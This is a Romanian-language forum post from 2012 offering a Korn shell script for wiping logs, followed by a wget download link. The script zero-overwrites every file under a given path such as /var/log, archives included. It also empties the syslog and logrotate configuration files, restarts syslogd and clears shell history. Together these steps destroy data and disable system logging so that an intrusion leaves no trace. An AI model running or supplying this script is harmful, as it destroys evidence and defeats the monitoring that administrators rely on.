pyth0n3 Posted January 10, 2012 Report Posted January 10, 2012 (edited) Atentie pe ce path il rulati ca nu mai scoateti datele Daca il rulati fara argumente va prezinta un display Functioneaza in sistemele Linux bineinteles Korn Shell Script#!/bin/ksh#Author:Pyth0n3#Date: Jan 10 2012#Purpose: Log wipingIN=$1function display { echo "----------------------------------------------- Usage: slk.ksh <path_to_log> ----------------------------------------------- - Example: ./slk.ksh /var/log ------------------------------------------------ Warning: will wipe all log data with 0 ------------------------------------------------ Will wipe even .tar .gz archive from logs ------------------------------------------------ Syslog/Logrotate Directive cleaning -----------------------------------------------"echo}function final {function busy {set -A ind -- "-" "-" integer n=${#ind[@]}integer i=0while truedo print -n -- "${ind[i]}" ((i=(i+1)%n)) sleep 1done}busy & busypid=$!clearprint " "print "[+] $(date) Start Log Cleaning Please Wait "print " " sleep 10LOCATION=`find $IN -name "*" -type f`for f in $LOCATION; do dd if=/dev/zero of=./$f bs=1 count=`echo $(stat -c%s "$f")`;doneclearprint " "print "[+] $(date) End Log Cleaning "kill $busypidprint "[+] Start syslog/logrotate configuration"}function logfix {filename=/etc/syslog.confif [ -f $filename ] then mv $filename $filename.bck touch $filename killall -HUP syslogd print "[+] End syslog configuration"elseecho Syslog configuration file skipedfi}function rotatefix {filename2=/etc/logrotate.confif [ -f $filename ] then mv $filename2 $filename2.bck touch $filename2 if [ -e /usr/sbin/logrotate ] then /usr/sbin/logrotate -f /etc/logrotate.conf else echo Skiped logrotate fi print "[+] End Logrotate configuration"elseecho Logrotate configuration file skipedfi}if [ -n "$1" ]; then final logfix rotatefix history -c echo "[+] Work done!" echo "[+]To erase a line you've written at the command prompt, use Ctrl-U"else displayfiDownload:wget http://sprunge.us/BWZC -O slk.ksh Edited January 10, 2012 by pyth0n3 Quote